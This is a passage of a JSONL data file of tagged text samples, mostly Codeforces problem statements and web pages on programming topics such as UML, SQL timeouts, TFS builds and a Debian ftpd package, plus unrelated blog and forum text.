would probably hurt more than missing something in HTML. Furthermore for those not yet confident enough to mess up with config manually this might be for you. Although again it's best to learn from mistakes if you can afford to do so since you will surely remember it more. :)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 623, "token_count_with_eod": 624, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Let $$$f(x)$$$ be the sum of digits of a decimal number $$$x$$$.\n\nFind the smallest non-negative integer $$$x$$$ such that $$$f(x) + f(x + 1) + \\dots + f(x + k) = n$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 55, "token_count_with_eod": 56, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "When he's not training for IOI, Little Alawn enjoys playing with puzzles of various types to stimulate his brain. Today, he's playing with a puzzle that consists of a $$$2 \\times n$$$ grid where each row is a permutation of the numbers $$$1,2,3,\\ldots,n$$$.\n\nThe goal of Little Alawn's puzzle is to make sure no numbers on the same column or row are the same (we'll call this state of the puzzle as solved), and to achieve this he is able to swap the numbers in any column. However, after solving the puzzle many times, Little Alawn got bored and began wondering about the number of possible solved configurations of the puzzle he could achieve from an initial solved configuration only by swapping numbers in a column.\n\nUnfortunately, Little Alawn got stuck while trying to solve this harder problem, so he was wondering if you could help him with it. Find the answer modulo $$$10^9+7$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 199, "token_count_with_eod": 200, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Little Artem got n stones on his birthday and now wants to give some of them to Masha. He knows that Masha cares more about the fact of receiving the present, rather than the value of that present, so he wants to give her stones as many times as possible. However, Masha remembers the last present she received, so Artem can't give her the same number of stones twice in a row. For example, he can give her 3 stones, then 1 stone, then again 3 stones, but he can't give her 3 stones and then again 3 stones right after that.\n\nHow many times can Artem give presents to Masha?", "source": "cpt_codeforces", "language": "en", "token_count": 136, "token_count_with_eod": 137, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "UML Derived Property\nDerived property is property which value (or values) is produced or computed from other information, for example, by using values of other properties.\nDerived property is shown with its name preceded by a forward slash '/'. This notation is used both for attributes and association ends.\nPatient class has derived attributes name and age.\nIn the example above, Patient class has derived attributes name and age. Name represents full patient's name and could be combined from title, given (or first) name, middle name, and family (or last) name. Patient's age is also calculated based on her or his birth date and current date or hospital admission date. (See complete example at Hospital management domain UML diagram example.)\nBecause derived property is produced or calculated from other properties, it is common to mark it as read-only, so that its value may not be changed directly. UML also allows derived property to be changeable. For the changeable derived property all the constraints have to be met, and in particular the derivation constraint.\nLibrary Book has derived attributes loanPeriod, dueDate, and isOverdue.\nThe loanPeriod and dueDate are read-only.\nIn the example above attributes loanPeriod, dueDate, and isOverdue are derived. Length of time a library book may be borrowed (loan period) depends on library policy and varies based on a kind of book and who is borrowing it. For example, in a university library undergraduates could borrow book for 30 days, graduate students for a quarter, and faculty staff for a year. In a public library normal loan period for a book could be 3 weeks, while it could be lowered to 2 weeks for new books. Book return due date will be calculated based on the borrow date and loan period. If due date is past the current date, isOverdue Boolean flag which is false by default will be set to true.\nA derived property may redefine another property which was not derived. In such case the constraints implied by the derivation should be still met when the property is updated. If a property redefines another property with a specified default value, redefining property could have different default value. If present, the default value of the redefining property will be used in place of the default value from the redefined property.\nLibrary Book has derived attribute loanPeriod which redefines\nnon derived loanPeriod attribute of the Book with default value 14.\nThe implementation or logic of the derivation is usually shown using Object Constraint Language (OCL). If an attribute or association end is marked as derived and is not a derived union, the derivation is specified by an operation with the same name and type as the derived attribute or association end. Actions involving a derived property behave the same as for a nonderived property.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 573, "token_count_with_eod": 574, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The \"source code\" of a software package is the form that is preferred for making modifications to it. This form varies with the nature of the software package. Generally, it is the form originally edited by the software's author.\nThe source code includes all machine- or human-readable instructions necessary to generate and install the form of the software that is to be executed on a computer system. It need not include software that is made available in source code form elsewhere.\nTo be included in this distribution, every part of a software package must be available in source code form. The binary packages generated from the distribution's source package must be derived directly from the package source code.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 135, "token_count_with_eod": 136, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Tokitsukaze has a sequence $$$a$$$ of length $$$n$$$. For each operation, she selects two numbers $$$a_i$$$ and $$$a_j$$$ ($$$i \\ne j$$$; $$$1 \\leq i,j \\leq n$$$).\n\n- If $$$a_i = a_j$$$, change one of them to $$$0$$$.\n- Otherwise change both of them to $$$\\min(a_i, a_j)$$$.\n\nTokitsukaze wants to know the minimum number of operations to change all numbers in the sequence to $$$0$$$. It can be proved that the answer always exists.", "source": "cpt_codeforces", "language": "en", "token_count": 128, "token_count_with_eod": 129, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/* Generated by RuntimeBrowser\n   Image: /System/Library/PrivateFrameworks/AppleAccountUI.framework/AppleAccountUI\n */\n\n@interface AAUIFamilyPaymentInfoRequest : AAFamilyRequest\n\n+ (Class)responseClass;\n\n- (id)urlString;\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 56, "token_count_with_eod": 57, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Top Network Posts\n- 25Code Golf: Calculate Orthodox Easter date\n- 22PHP If Statement with Multiple Conditions\n- 17Best practice for an endless/ periodic execution of code in C#\n- 11Obfuscated php code found on the server\n- 8Are there secure alternatives to single-use password reset links?\n- 8What sensitive information can be leaked in a Vim's swap file?\n- 8WPF: Remove the title/control box\n- View more network posts →\nKeeping a low profile.\nThis user hasn't posted... yet.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Descriptive statistics, as the name implies, describe sample characteristics. The selection of the appropriate type of data analysis for research is a critical part of analyzing surveys.\nIn order to analyze data, first and foremost, statistics need to be used to describe the data.\nThe Importance of Descriptive Statistics\nDescriptive statistics allow us to show the data more meaningfully, making it easier to understand. It helps make sense of data and provides insights about data that can be further validated using inferential statistics and advanced analytics.\nLet’s talk about a few of the most common descriptive statistics used in quantitative research.\nFrequency And Percentage\nFrequency and percentage tables are an excellent place to start. It shows counts and percentages for each unique value in a variable, usually a categorical variable. A frequency is the number of times each score appears in each data set, while a percentage represents a fraction of 100.\nOne usually starts with tables describing gender, religion, and ethnicity. The best way to describe these tables is by making a table of frequency and percentages. The frequency and percentage tables should be aligned with the research objective when working on them.\nFurther, one can also do sub-group analysis using other variables as part of cross-tabulation. As a next step, we should determine the central tendency.\nA Measure of Central Tendency\nThe next stage is to look for a measure of central tendency. A central tendency is a single number describing a data set by figuring out where the middle point is and is also known as summary statistics. Even though there are several ways to measure central tendencies, researchers commonly use the arithmetic mean and the median.\nThe arithmetic mean is the first way to measure central tendency. It is calculated by dividing the number in the series by the total number. The arithmetic mean is sometimes called the average or just the mean in the series. Before using the arithmetic mean, one must meet several assumptions, i.e., at least one interval scale is used to measure the variable. The data should be spread out typically, and there shouldn’t be any significant outliers.\nA researcher can assess the first assumption using the question type, while the second assumption can be evaluated using a Normal Q-Q plot histogram or other statistical tools.\nBox plots can be used to check the third assumption. One should not use the arithmetic mean for nominal or ordinal values because it doesn’t make sense to add up the data for these variables.\nAlso, the arithmetic mean is very sensitive to outliers. In the case of at least one outlier, the arithmetic mean does not accurately represent the whole data set.\nThis is the middle score of a data set sorted by size. Outliers and skewed data don’t have as much of an effect on the median.\nBefore using the median, you only need to ensure that the variable is at least ordinal. Median should be used in the case of non-normally distributed data or where there are a lot of outliers.\nA mode is defined as the most frequent value in a dataset. Although it isn’t used as often in primary research, it plays a significant role in production and manufacturing decisions.\nAnother critical measure while using descriptive statistics is to assess variability. A measure of variability is also known as dispersion or spread. It describes how different things are in a group or sample. In general, it is used to describe a group of numbers in combination with a measure of central tendencies like the mean or median.\nData variability is a measure of how well the mean represents the data. For instance, in a large data set, the mean tells us less about the data than it would if there were a small range of data. A large spread suggests that individual scores have significant differences. Big spreads are often considered good in research. If there isn’t much difference between each data group, the respondents are similar.\nMinimum, Maximum, Range, and Quartiles\nThe data value distribution can be determined using minimums, maximums, ranges, and quartiles. The distribution range is calculated by subtracting the lowest and highest values. Further, the quartiles represent one-fourth and three-quarters of the way through a range of values.\nSpread and interquartile range are fundamental measures of the spread of data distribution. They indicate how big the gap is between the top and bottom quartiles of the data distribution.\nStandard Deviation and Variance\nThe standard deviation is the initial method for measuring dispersion. In relation to the mean, the standard deviation measures what degree of dispersion the data exhibit. To obtain it, one takes the square root of the standard deviation.\nThe standard deviation is used using the arithmetic mean to determine the central tendency. Increasing the distance between the data points and the mean will increase the standard deviation.\nAlternative methods for measuring dissimilarity include the interquartile range. As a general rule, the interquartile range represents the area between the third and first quartiles. It indicates the distance between the center-half of the scores.\nThere is a common belief that the interquartile range and the median are the best ways to measure the spread and central tendency, respectively. A standard deviation is a valuable tool when dealing with skewed or outliers data. If the interquartile range is high, then the variation is also high.\nAn alternative method of measuring variability is variance. It is a way to measure how far an estimate is from the hypothetical mean that could come from doing multiple surveys.\nWhich Measure to Use\nIn short, one must ascertain what statistical tool to use to describe your data set. One can use a frequency and percentage table if you have a nominal variable.\nFurther, one can use an ordinal frequency and percentage table if you have an ordinal variable. A median and interquartile range can be used when data are not normally distributed, have outliers, or both. Researchers can use the mean and standard deviation in the case of normally distributed intervals and ratios.\nKultar Singh – Chief Executive Officer, Sambodhi", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1219, "token_count_with_eod": 1220, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Shareable is a small android library to help implement direct share and social media actions into your android app. For example if you want to share something specifically to Twitter or Facebook.\nThe API is design to allow you to specify specific social channels to share to using the Builder design pattern. If the app is not available the default is to use all\nIntent.ACTION_SEND apps on the phone.\nAndStatus is an Open Source low traffic social networking client with tree-like threaded conversations. It supports different Social networks, including GNU social (e.g. Quitter.se, LoadAverage, etc.), Twitter and Pump.io.\nAndStatus can combine your feeds from all networks into one Timeline, and it allows you to read and post even when you are offline.\nGet a birthday calendar for all your social networks right inside Google Calendar. Supports Facebook, LinkedIn, Xing, Skype, DavDroid and all other apps which sync contacts with your Android device. Enable reminder alarms and decide which contacts you want to see. You'll get notifications for all of them.\nReactiveFB provides an API that bridges the reactive world of RxJava 2.0 with the callback-style of Facebook-SDK. The aim of the library is to :\nA smart way to add Login functionality to your Android app.\nWhat's in the box:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 268, "token_count_with_eod": 269, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Join GitHub today\nGitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.Sign up\nMy team is base din the UK and is really interested in looking at those CAD designs, your team seems to have completed a tonne of work on initial designs looking at the PDFs, what is the situation with TAP giving out these designs? we are focusing on the manufacturing challenges specifically.\nI'm also keen to get a copy of something more editable than PDF documents. I do see continued coverage of this open-sourcing effort but last upload was 2018-12-19 ? Really, CAD files wold be more useful.\nFor example, here's someone working from old ORNL PDF documents to construct 3D models... https://vimeo.com/294962099/b1f151957f ...having CAD files might save a step when visualizing (in 3D) different MSR approaches.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 212, "token_count_with_eod": 213, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Historically, EVL has been involved in the development of software and hardware systems to support electronic artists’ and computer animators’ needs. In the ’70s and ’80s, the patch-programmable analog Sandin Image Processor (IP), GRASS, ZGRASS, Datamax UV-1, and high-level graphics programming languages, were developed at EVL to address the need for accessible tools to create real-time animation. Ygdrasil was developed as a high-level authoring and scripting tool to support the development of art in virtual reality.\nIn the years since, state-of-the-art modeling and animation software applications have become readily available and are commonly utilized by students at EVL. However, the combination of commercially avaliable software, the software developed at EVL, and the programming expertise stressed in the program, the resulting animated works have a unique look and feel. Some examples of such work are showcased on our site as MFA Thesis projects.\nAdditionally, EVLers have created a significant body of animated works using computer graphics. These works have been exhibited internationally and selected for numerous juried shows, such as the highly regarded SIGGRAPH Computer Animation Festival. A number of these works are archived and currently available as part of the SIGGRAPH Video Review publication.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Message boards :\nNumber crunching :\nI think you made your point !!\nPosted 14 Oct 2008 by anotherone\nWow. Another incredibly helpful flame on the message board.\nIs it jealousy? Or have you simply been too lazy to read and think about what's going on here?\nAnyway, I'm glad the project staff is now working on the code inefficiencies. *thumbsup*\nBy the way, I'd like to encourage the project staff to leave their current and future code accessible to the community. It's simply the right thing to do. I don't even want to think about how \"efficiently\" other projects with hidden code found a way to simply raise my energy bills without doing much science in the first place.\n©2023 Astroinformatics Group", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 166, "token_count_with_eod": 167, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Lee was: the Incarnation !\nAnswered on: 20 Oct 2003\nThe Internet Oracle has pondered your question deeply. Your question was: > i've got a term paper due in 2 hrs on anonymity of the internet > and i can't think of aything more to write about. Got any > suggestions? >\nAnd in response, thus spake the Oracle: } How about a hypothetical system where any idiot can send in an } anonymous question and some other idiot can anonymously answer it, all } via e-mail? Nah, your professors wouldn't fall for that, would they?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 128, "token_count_with_eod": 129, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Returns the number of cells that contain numbers in the values given as its argument(s).\n|1||Value||Either a value or a range/array of multiple values.|\n|2||…||Any number of more values or ranges/arrays of multiple values. Up to 255 can be given.|\nYou can use\n=COUNT(A1:A5) to count the number of cells that contain a number. A1:A5 is the range of cells that we count. So cells A1, A2, A3, A4 and A5. Each of these cells contains a number, therefore the result is 5.\nThe count function will simply ignore empty cells, text and errors.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 145, "token_count_with_eod": 146, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a rooted tree on $$$n$$$ vertices. The vertices are numbered from $$$1$$$ to $$$n$$$; the root is the vertex number $$$1$$$.\n\nEach vertex has two integers associated with it: $$$a_i$$$ and $$$b_i$$$. We denote the set of all ancestors of $$$v$$$ (including $$$v$$$ itself) by $$$R(v)$$$. The awesomeness of a vertex $$$v$$$ is defined as\n\n$$$$$$\\left| \\sum_{w \\in R(v)} a_w\\right| \\cdot \\left|\\sum_{w \\in R(v)} b_w\\right|,$$$$$$\n\nwhere $$$|x|$$$ denotes the absolute value of $$$x$$$.\n\nProcess $$$q$$$ queries of one of the following forms:\n\n- 1 v x — increase $$$a_v$$$ by a positive integer $$$x$$$.\n- 2 v — report the maximum awesomeness in the subtree of vertex $$$v$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 208, "token_count_with_eod": 209, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "We have a huge (part-VBA, part-.NET-based) LOB application, with thousands of (different) SQL statements littered all over the code¹. Currently, there is one global \"Query Timeout\" that can be configured. Since the application (among others) allows the user to create quite complex reports, this default timeout is set very high (5 minutes).\nThis, however, leads to problems when, during normal operation, undetected deadlocks² occur: All machines involved freeze for 5 minutes, until the timeout resolves the issue. So, clearly, different timeouts are suitable for different situations: For a complex report, a few minutes might be OK, whereas for querying a single, indexed database value, a few seconds should suffice³.\nWhat's a good strategy to implement this? My first idea would be to categorize SQLs into \"fast\", \"medium\" and \"slow\" and, thus, have three different timeouts that can be configured. What are your experiences with this issue? How have you solved it and how did it work?\n¹ Yes, I know that there are object-relational mappers available, but (1) we do have a lot of legacy code and (2) I don't think it makes a difference to the question.\n² An undetected deadlock is a deadlock that is not resolved by the database engine (for example by detecting the deadlock and aborting one of the transactions involved). Such deadlocks can occur under certain circumstances (ask me, if you want details, but I don't think it's relevant for the question).\n³ I know that such a DB access should only take a few ms, but the single, quick query might need to wait for a resource to be released by a longer-running transaction.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 363, "token_count_with_eod": 364, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I have configured a test using a single script and a colletor which has a few counters.\nWhen the script is executed, in the monitor tab i can see the results of the data collected for the different counters. But when the test is over where does OpemSTA store the logs or the graphs\nit is there in results tab\nhere u can see different directories based on each run of the test case. expand the required one and see the results\ni think u are asking about the NT performance counters which you have configured in the collector.\nto see the various counters and its values you have to go to,\nResults -> Folder (date&time of your test) -> Custom NT Performance\nYou have to click on it and then u will see the graph. If you right click on the graph and 'export to excel' you will be able all the values in the excel sheet.\nHonesty is the Best Policy", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 190, "token_count_with_eod": 191, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Fan of The Umbrella Academy, based on the comic book by My Chemical Romance frontman Gerard Way? Well, now you can hear how your favorite characters sound to fans across the world. Listen to Klaus’ and the rest of the family in Italian, French, Hindi and more.\nNetflix is the world’s leading streaming entertainment service with 193 million paid memberships in over 190 countries enjoying TV series, documentaries and feature films across a wide variety of genres and languages. Members can watch as much as they want, anytime, anywhere, on any internet-connected screen. Members can play, pause and resume watching, all without commercials or commitments.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "ASMR GRWM Doing My Hair + Rambles\nWelcome back or welcome to VNA ASMR channel!\nIf you enjoyed today’s video and would like more content from me, subscribe and click the notification bell to be notified when I post. Likes and comments are highly appreciated as I love to see what you guys have to say!\nThank you for watching and I hope to see you in the next one!\nEmail for business inquiries: [email protected]\n(Thank you for your interest, but I do not film custom videos at this time)\nWhat is ASMR? Rambles\nAutonomous sensory meridian response, is a tingling sensation that typically begins on the scalp and moves down the back of the neck and upper spine. Used to help with sleep and relaxation.\n#asmr #asmrcommunity #asmrsounds #asmrtapping #asmrvideo #asmrreading #asmrreadingabook #asmrreadingyoutosleep #whispering #sleepaid #relaxing", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 209, "token_count_with_eod": 210, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I would like the navigation gif of my pop-menu to display\nwhen the user prints my webpage, but not all the navigation links\nbelow it. So far in my print.css style sheet I have the table\ncontainer to display: none; But I'd like to show the gif of the\nnavigation bar and not the links print below it. Is this possible -\nsince Fireworks creates an html with a div of a table container?\nI think I want it to display the navigation bar which is the\ngif in the code below ( but it is inside the div of the table\n<img name=\"PopMenu_2\" src=\"PopMenu/PopMenu.gif\"\nwidth=\"780\" height=\"20\" border=\"0\" id=\"PopMenu\" usemap=\"#m_PopMenu\"", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 166, "token_count_with_eod": 167, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I’m working on replacing the existing build system we use based on XAML Workflow by the new build system introduced in TFS 2015. So far, I really like the experience. Customizing became a lot easier than it was before…\nHowever not everything is perfect. While building a solution I noticed the following error message:\n“The item $/Framework en Tooling/Drops may not be cloaked because it does not have a mapped parent.”\nLet’s find out what was going on.\n- Open your favorite browser and navigate to the web access portal for your team project\n- Click on the BUILD tab\n- Expand the Build Definition section, right click on the failing Build definition and choose Edit… from the context menu\n- The build definition is loaded. Now click on the Repository tab.\n- On this tab you see the workspace mapping used for the build definition. In my case it looked like this:\n- Seeing this immediately explained the error message. I was cloaking a folder that was on the same level as the folder I was mapping. With the current mapping configuration the Drops folder would never be downloaded to the local workspace, so it didn’t make any sense to cloak it(and that was exactly what the error message was telling me)\n- To fix it, the only thing I had to do was remove the Mapping line from the list", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 279, "token_count_with_eod": 280, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "It's not that simple. You just need to sit in a programming meeting with a client (like the institution you're taking about) to realize the trickle-down effect of trying to make such design decisions.\nI'm not saying there's a \"better\" solution to having the racks hidden away, but the idea that it's \"simple\" is false.\nNot only that, but I've had experience on large college campuses where the bike racks are out in the open with parts and bikes being stolen or damaged in full light of day and with people all around. Short of posting a guard, you're not going to be 100% secure (and even with a guard I wouldn't expect security).", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 144, "token_count_with_eod": 145, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Arkady wants to have a dinner. He has just returned from a shop where he has bought a semifinished cutlet. He only needs to fry it. The cutlet should be fried for 2n seconds, in particular, it should be fried for n seconds on one side and n seconds on the other side. Arkady has already got a frying pan and turn on fire, but understood that maybe he won't be able to flip the cutlet exactly after n seconds after the beginning of cooking.\n\nArkady is too busy with sorting sticker packs in his favorite messenger and can flip the cutlet only in some periods of time. Namely, there are k periods of time in which he can do it, the i-th of them is an interval of time from li seconds after he starts cooking till ri seconds, inclusive. Arkady decided that it's not required to flip the cutlet exactly in the middle of cooking, instead, he will flip it several times in such a way that the cutlet will be fried exactly n seconds on one side and n seconds on the other side in total.\n\nHelp Arkady and find out if it's possible for him to cook the cutlet, if he is able to flip the cutlet only in given periods of time; and if yes, find the minimum number of flips he needs to cook the cutlet.", "source": "cpt_codeforces", "language": "en", "token_count": 276, "token_count_with_eod": 277, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "alright so you've got the 3 snake brothers, solid, liquid and solidus. there dad, naked snake/big boss. youv'e got eva/big momma that could be described somewhat as a mother. there grandmother (same premise as eva) the boss/the joy there uncle, revolver ocelot, the boss' son (big boss'/naked snakes step-brother sort of?) raiden there nephew, who solidus took under his wing as a son. anymore i haven't thought of who could in someway or other be related. it feels like an amazing episode of the jerry springer show. imagine at the end of mgs4 they all sort out there differences and enjoy a spot of Christmas dinner together.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 153, "token_count_with_eod": 154, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Bear Limak examines a social network. Its main functionality is that two members can become friends (then they can talk with each other and share funny pictures).\n\nThere are n members, numbered 1 through n. m pairs of members are friends. Of course, a member can't be a friend with themselves.\n\nLet A-B denote that members A and B are friends. Limak thinks that a network is reasonable if and only if the following condition is satisfied: For every three distinct members (X, Y, Z), if X-Y and Y-Z then also X-Z.\n\nFor example: if Alan and Bob are friends, and Bob and Ciri are friends, then Alan and Ciri should be friends as well.\n\nCan you help Limak and check if the network is reasonable? Print \"YES\" or \"NO\" accordingly, without the quotes.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given two integers $$$a$$$ and $$$b$$$.\n\nIn one move, you can choose some integer $$$k$$$ from $$$1$$$ to $$$10$$$ and add it to $$$a$$$ or subtract it from $$$a$$$. In other words, you choose an integer $$$k \\in [1; 10]$$$ and perform $$$a := a + k$$$ or $$$a := a - k$$$. You may use different values of $$$k$$$ in different moves.\n\nYour task is to find the minimum number of moves required to obtain $$$b$$$ from $$$a$$$.\n\nYou have to answer $$$t$$$ independent test cases.", "source": "cpt_codeforces", "language": "en", "token_count": 135, "token_count_with_eod": 136, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "One very important person has a piece of paper in the form of a rectangle a × b.\n\nAlso, he has n seals. Each seal leaves an impression on the paper in the form of a rectangle of the size xi × yi. Each impression must be parallel to the sides of the piece of paper (but seal can be rotated by 90 degrees).\n\nA very important person wants to choose two different seals and put them two impressions. Each of the selected seals puts exactly one impression. Impressions should not overlap (but they can touch sides), and the total area occupied by them should be the largest possible. What is the largest area that can be occupied by two seals?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Results 1 - 1 of 1\nSpan: An energy-efficient coordination algorithm for topology maintenance in ad hoc wireless networks\n- ACM Wireless Networks Journal , 2001\n\"... ...\"(Show Context)\n...ng network in handling heavy load, per-packet delivery latency, and network lifetime. 5.1 Simulation Environment We simulated Span in the ns-2  network simulator using the CMU wireless extensions =-=-=-. The geographic forwarding algorithm, as described in Section 4.1, routes packets from source to destination. Span runs on top of the 802.11 MAC layer with power saving support and modifications desc...\nDeveloped at and hosted by The College of Information Sciences and Technology\n© 2007-2016 The Pennsylvania State University", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 164, "token_count_with_eod": 165, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "PHOTOGRAPH OF ANTHONY AND AN ADMIRER\nI will use this page to display some photographs meeting the above criteria. Please ask for my permission before sending photographs for this section, so as not to overwhelm my inbox with large email downloads.\nAnthony with Carrie A. Hedderman from USA. Photographed at the\nconcert inWorcester, MA 15th April 2000", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 85, "token_count_with_eod": 86, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "|File Search||Catalog||Content Search|\nThis server supports IPv6, and can be used in standalone mode as well as in inetd-slave mode, but other servers have better long-term security screening.\nThe server can be used with GNU/Linux, GNU/kFreeBSD, and GNU/Hurd.\nftpd for Debian --------------- (May 4th, 2010) ftpd is now able to use IPv4 and IPv6 for data transport, in active and in passive mode. The default behaviour is to service both address families. Two options, '-4' and '-6', are introduced to restrict traffic to a single addressing mode. (Prior to October 2008) ftpd now supports PAM. It is recommended that you leave the pam_ftp entry alone in more»\nThis is linux-ftpd-0.17 for Linux, a port of the OpenBSD ftp daemon. This package updates linux-ftpd-0.16. If you're reading this off a CD, go right away and check the net archives for later versions and security fixes. As of this writing the home site for NetKit is ftp://ftp.uk.linux.org/pub/linux/Networking/netkit Contents: ftpd Daemon for the ftp protocol. Requires: Working compiler, li more»\nlinux-ftpd (0.17-31) unstable; urgency=low The recent IPv6 capability is handled in distinct ways by the three usual super-servers: openbsd-inetd, xinetd, and inetutils-inetd. The differences are discussed in the file README.Debian. Depending on your old setup, 'update-inetd' might complain about multiple instances of 'ftp' in '/etc/inetd.conf'. The present version tries to counte more»\nFTPCHROOT(5) Linux Programmer's Manual FTPCHROOT(5) NAME ftpchroot - file more»\nFTPUSERS(5) BSD File Formats Manual FTPUSERS(5) NAME ftpusers — file wh more»\nFTPD(8) BSD System Manager's Manual FTPD(8) NAME ftpd — Internet Fi more»\nlinux-ftpd (0.17-34) unstable; urgency=low * Drop unneeded libcrypt linking: + debian/patches more»\n8-Jul-2000: Fix exploitable misused printf-function calls. 14-Dec-1999: linux-ftpd-0.16 is releas more»", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 518, "token_count_with_eod": 519, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "DZY loves Fast Fourier Transformation, and he enjoys using it.\n\nFast Fourier Transformation is an algorithm used to calculate convolution. Specifically, if a, b and c are sequences with length n, which are indexed from 0 to n - 1, and\n\n$$c_i = \\sum_{j=0}^{i} a_j b_{i-j-1}$$\n\nWe can calculate c fast using Fast Fourier Transformation.\n\nDZY made a little change on this formula. Now\n\n$$c_i = \\max_{j=0}^{i} a_j b_{i-j}$$\n\nTo make things easier, a is a permutation of integers from 1 to n, and b is a sequence only containing 0 and 1. Given a and b, DZY needs your help to calculate c.\n\nBecause he is naughty, DZY provides a special way to get a and b. What you need is only three integers n, d, x. After getting them, use the code below to generate a and b.\n\nOperation x % y denotes remainder after division x by y. Function swap(x, y) swaps two values x and y.", "source": "cpt_codeforces", "language": "en", "token_count": 239, "token_count_with_eod": 240, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Throughout Igor K.'s life he has had many situations worthy of attention. We remember the story with the virus, the story of his mathematical career and of course, his famous programming achievements. However, one does not always adopt new hobbies, one can quit something as well.\n\nThis time Igor K. got disappointed in one of his hobbies: editing and voicing videos. Moreover, he got disappointed in it so much, that he decided to destroy his secret archive for good.\n\nIgor K. use Pindows XR operation system which represents files and folders by small icons. At that, m icons can fit in a horizontal row in any window.\n\nIgor K.'s computer contains n folders in the D: disk's root catalog. The folders are numbered from 1 to n in the order from the left to the right and from top to bottom (see the images). At that the folders with secret videos have numbers from a to b inclusive. Igor K. wants to delete them forever, at that making as few frame selections as possible, and then pressing Shift+Delete exactly once. What is the minimum number of times Igor K. will have to select the folder in order to select folders from a to b and only them? Let us note that if some selected folder is selected repeatedly, then it is deselected. Each selection possesses the shape of some rectangle with sides parallel to the screen's borders.", "source": "cpt_codeforces", "language": "en", "token_count": 285, "token_count_with_eod": 286, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I don't think that matters, as long as rules are applied and enforced consistently. Outside the enthusiast overclocking community though, records like this are irrelevant and, have no bearing on potential performance in normal use.\nWhat good are memory overclocking results if you have to cripple the CPU beyond usefulness to achieve sufficiently low noise and non-memory power to make it work? If you throw away meaningful usability for the sake of pushing GHz no matter what, may as well allow people to use DRAM development boards with semi-custom ASICs and FPGAs too.\nIf we're going to be testing memory, then do everything else as optimal as possible, if that's cherry-picking a CPU with an insane IMC and disabling some cores, so what? We're testing memory, not CPU. If we were testing CPU cores, then sure, but if we're testing memory?\nAlso, to take the 20 000 RPM example, why don't we just put a 20000LBS load behind the car and see axles and engine parts fly. The parallel is that the IMC works, but if you lessen the load in other areas, can be pushed even further, same as if we remove that 20kLBS load from behind the car. It won't break (lockup/crash/etc).\nAnd why? Because we're not testing the CPU or IMC, we're testing how well the MEMORY holds up. This is a memory world record, not a CPU or IMC world record.\nIf AMD had a stronger IMC, then would it be cheating using that? No? Why not?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 338, "token_count_with_eod": 339, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
